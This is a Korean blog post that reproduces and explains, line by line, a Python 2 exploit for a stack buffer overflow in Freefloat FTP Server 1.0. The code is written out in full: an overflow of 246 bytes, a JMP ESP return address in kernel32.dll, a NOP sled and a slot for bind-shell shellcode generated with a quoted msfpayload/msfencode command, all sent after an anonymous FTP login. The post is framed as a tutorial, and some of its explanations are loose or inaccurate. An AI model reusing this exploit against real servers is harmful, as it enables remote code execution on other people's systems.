Code

제로 데이 개념의 공격 코드 [Python]

Ohs_ 2020. 2. 7. 19:13
import socket, sys, time, struct

if len(sys.argv) < 2:
    print "[-]Usage:%s <target addr> <command>"% sys.argv[0] + "\r"
    print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick."
    print "[-]Other options: AUTH, APPE, ALLO, ACCT"
    sys.exit(0)

target = sys.argv[1]
command = sys.argv[2]

if len(sys.argv) > 2:
    platform = sys.argv[2]

#./msfpayload windows/shell_bind_tcp r | . /msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20"

#[*] x86/shikata_ga_nai succeeded with size 368 (iteration = 1)

shellcode = ("")

#7C874413 FFE4 JMP ESP kernel32.dll

overflow = "\x41" * 246
ret = struct.pack ('<L', 0x7C874413)
padding = "\x90" * 150
crash = "\x41" * 246 + ret + padding + shellcode

print "\
        [*] Freefloate FTP 1.0 Any Non Implemented Command Buffer Overflow\n\
        [*] Author : Craig Freyman (@cd1zz)\n\
        [*] Connecting to " + target

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((target,21))

except:
    print "[-] Connection to " + target+" failed!"
    sys.exit(0)

print "[*] Sending " + 'len(creash)' + " " + command + " bye crash..."

s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send(command + " " + crash + "\r\n")



time.sleep(4)

 

<코드 설명>

 

사용 모듈 : socket, sys, time, struct

 

* 모듈 설명

    - socket : '소켓'은 네트워크의 양 끝 단(end to end)을 추상화 시킨 개념입니다. 외부와 내부를 연결 시켜 주는 것이지요. 파이썬의 socket 모듈은 소켓 프로그래밍에 필요한 시스템 콜을 래핑하는(시스템에서 전송하는 데이터를 감아 주는) API(응용 프로그램 인터페이스)를 제공하는 모듈입니다.  소켓 통신을 위해서 물론 소켓을 생성해서 사용하는데, 서버와 클라이언트일 때가 조금 다릅니다. 

 

    - sys : 이 모듈은 운영체제의 명령행에서 직접 명령을 받아 전달을 해야 할 때 사용됩니다. 명령행에서 작성한 내용은 'sys.argv'라는 변수에 배열로 값이 저장되며 사용법은 'import sys'를 해준 뒤 간단하게 'print sys.argv'로 해줍시다. 그리고 해당 파일을 실행할 때 'python test.py a, b, c' 이런 식으로 실행을 해주면 자동으로 'sys.argv'변수에 a,b,c가 배열로 들어가고 결과는 '['a','b','c']'가 출력이 됩니다.

 

    - time : 시간과 관련된 작업들을 할 수 있습니다. 시스템의 시간을 불러오고 포맷에 맞게 출력할 수 있으며 여러 방향으로 사용이 가능합니다.

 

    - struct : 이 모듈은 Python 값과 Python bytes 객체로 표시되는 C 구조체 사이의 변환을 수행합니다. 파일이나 네트워크 연결에서 저장된 이진 데이터를 처리하는 데 사용할 수 있습니다. C 구조체의 레이아웃과 파이썬 값으로의 변환에 대한 간단한 설명으로 형식 문자열을 사용합니다. 이것은 버퍼 프로토콜을 구현하고 읽기 가능 또는 읽기 가능 버퍼를 제공하는 객체를 나타냅니다.파이썬 언어가 아닌 c언어로 표현을할 수 있게 도와주는 모듈입니다.

 

 

 

 

if len(sys.argv) < 2:
    print "[-]Usage:%s <target addr> <command>"% sys.argv[0] + "\r"
    print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick."
    print "[-]Other options: AUTH, APPE, ALLO, ACCT"
    sys.exit(0)

target = sys.argv[1]
command = sys.argv[2]

if len(sys.argv) > 2:
    platform = sys.argv[2]

 

 

- 맨 처음 'if문' 입니다. 사용법을 표기하기위해 만들어 졌습니다. 해당 코드를 실행할 때 3개의 인자가 필요한데 3개 미만이면 사용법에 대해 출력하는 부분입니다. 다음으로 'target'변수입니다. 해당 변수는 타겟이 되는 주소들을 sys모듈을 이용해 명령줄에서 바로 입력받아 배열로 저장하는 부분입니다. 그리고 'command'변수 역시 같은 부분입니다. 사용법에 맞게 배열의 첫번째와 두번째 부분에 저장이 고정되도록 배열 주소를 지정하여 저장하는 형태입니다. 두번째 'if문' 입니다. 정상적으로 입력을 받았을 때 해당 배열의 3번째 주소값(0,1,2)을 'platform 변수에 넣어 줍니다.

 

 

shellcode = ("")

 

- 쉘 코드가 들어가는 부분입니다. 메타스플로잇 프레임워크(펄 스크립트 언어를 사용하는 휴대용 네트워크 도구입니다. 펄 스크립트는 유닉스 명령 도구들이 가진 불특정 데이터 길이의 제약없이 사용가능하게 만들어주는 언어입니다. 해당 언어는 인터프리터 방식입니다. 메타스플로잇은 네트워크의 취약점 분석 침투 테스트에 사용되는 툴입니다.)로 만들어낸 페이로드(해당 데이터의 헤더와 메타데이터는 제외된 데이터 입니다. ex) 택배 운송할 때 차 + 운전자 + 배송상품 + ... + 등등 여러 무게를 합친 값들이 전송이 되지만 택배를 받는 우리는 기름값만 내는 경우 입니다. 즉, 데이터만 받고 나머지는 버리는 것이죠.)를 헥스 값으로 인코딩하여 넣어줍니다.

 

 

 

overflow = "\x41" * 246

ret = struct.pack ('<L', 0x7C874413)
padding = "\x90" * 150
crash = "\x41" * 246 + ret + padding + shellcode

print "\
        [*] Freefloate FTP 1.0 Any Non Implemented Command Buffer Overflow\n\
        [*] Author : Craig Freyman (@cd1zz)\n\
        [*] Connecting to " + target

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

 

- 'overflow'변수는 말그대로 버퍼오버플로우를 걸기 위해 사용합니다. 변수 안의 내용은 알파벳 'A'를 16진수로 변환한 값을 246개 집어 넣은 것 입니다. 'ret'변수는 모듈 'struct'를 이용하여 스택의 맨위의 주소로 직접 점프하게 만드는 지시가 담겨있는 kernel32.dll의 주소를 포인트 한 것 입니다. '0x7C874413'가 해당 주소를 의미하고 '<'는 리틀엔디안을 뜻하며 'L'는 어셈블리언어에서 4의 크기를 갖는 변수라고 생각해도됩니다. 그다음 'padding'변수 입니다. 'NOP'이라는 지시를 150개 포함합니다. 'NOP'은 어셈블리어에서 "아무것도 하지않는다"를 의미합니다. 아무 의미없는 부분을 150개 추가하는 것이지요. 그리고 'crash'변수는 위의 3가지 변수를 묶어주는 과정입니다. 모든 과정들이 정상적으로 진행되면 'print' 구문이 출력되고 's'라는 변수로 소켓을 열어줍니다. 'socket'함수 인자로 'socket.AF_INET'은 IPv4를 의미하고 'socket.AF_INET6'은 IPv6을 의미하게 됩니다. 그리고 뒤에 인자는 소켓에 대한 타입을 의미합니다. 현재 입력 값은 'socket.SOCK_STREAM' 소켓스트림 타입입니다.



try:

    s.connect((target,21))


except:

    print "[-] Connection to " + target+" failed!"

    sys.exit(0)


print "[*] Sending " + 'len(creash)' + " " + command + " bye crash..."

 

- 'try'와 'except'문 입니다. 파이썬의 예외처리 함수 입니다. 'try'부분을 실행하다 오류가 발생하면 바로 멈춰버리는 것이 아닌 'except'문으로 넘어갑니다. 특정오류 상황일때, 그냥 오류 발생할때 등 여러 상황에 사용이 가능하니 알아두면 좋습니다. 해당 코드에서는 21번 포트로 타겟과 연결하고 만약 오류 발생시 타겟과 연결이 실패했다는 문구와 함깨 프로그램을 종료하는 문구입니다. 만약 오류 발생이 안되었을때는 앞에 만들어놓은 'crash'변수의 길이 만큼을 전송했다는 문구가 출력됩니다.



s.send("USER anonymous\r\n")

s.recv(1024)

s.send("PASS \r\n")

s.recv(1024)

s.send(command + " " + crash + "\r\n")


time.sleep(4)


- 앞에서 's'변수에 소켓 연결을 해놨었죠 이제 그걸 이용합니다. '[소켓을 열었던 변수].send'를 이용하면 연결된 호스트에게 데이터를 전송할 수 있습니다. 그리고 'recv'를 이용하면 데이터를 지정한 버퍼의 크기만큼 읽어올 수 있습니다. 그리고 마지막 부분에서 원하는 커맨드를 입력함으로서 공격을 진행할 수 있습니다. 마지막 부분에 time.sleep(4)는 4초동안 대기하는 부분입니다.



- 이 공격은 버퍼오버플로우를 이용하여 쉘코드를 직접 전송하면 받을 수 있게 만들어 놓은 것입니다. 버퍼를 넘치게 보내어서 강제로 쉘코를 받을 수 있는 부분으로 이동하여 해당 구간에서 바로 명령을 입력할 수 있는 것입니다.

반응형